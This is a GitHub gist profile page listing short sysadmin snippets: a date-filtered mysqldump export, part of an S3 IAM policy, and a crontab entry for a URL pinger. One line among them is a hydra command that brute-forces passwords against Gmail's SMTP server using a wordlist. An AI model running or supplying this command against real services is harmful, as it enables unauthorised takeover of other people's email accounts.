Skip to content

Instantly share code, notes, and snippets.

View IAMNGP's full-sized avatar
😐

Prakash IAMNGP

😐
View GitHub Profile
mysqldump -u root -p database_name --tables table_name where"field_name like '2022_02_17%'" > database_table_name.sql
#to export table only sort by date
@IAMNGP
IAMNGP / s3-secure-access-policy
Last active February 14, 2022 06:25
give s3 bucket secure access to user
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:GetBucketLocation",
"s3:ListAllMyBuckets",
"s3:GetAccountPublicAccessBlock",
"s3:GetBucketPublicAccessBlock",
hydra –S –l email –P /root/Desktop/Wordlist.txt –e ns –V –s 465 smtp.gmail.com smtp
@IAMNGP
IAMNGP / crontab
Created November 22, 2018 08:15 — forked from westonruter/crontab
Script to ping URLs defined in urls.txt and alert you if they do not return 200 OK. You'll need to `sudo apt-get install bsd-mailx` to get the email, and you'll want to add a filter to make sure that $from is never sent to spam. A log is also kept in log.txt including timestamp, status code, and URL.
*/5 * * * * /home/pi/pinger/pinger.sh > /dev/null 2>&1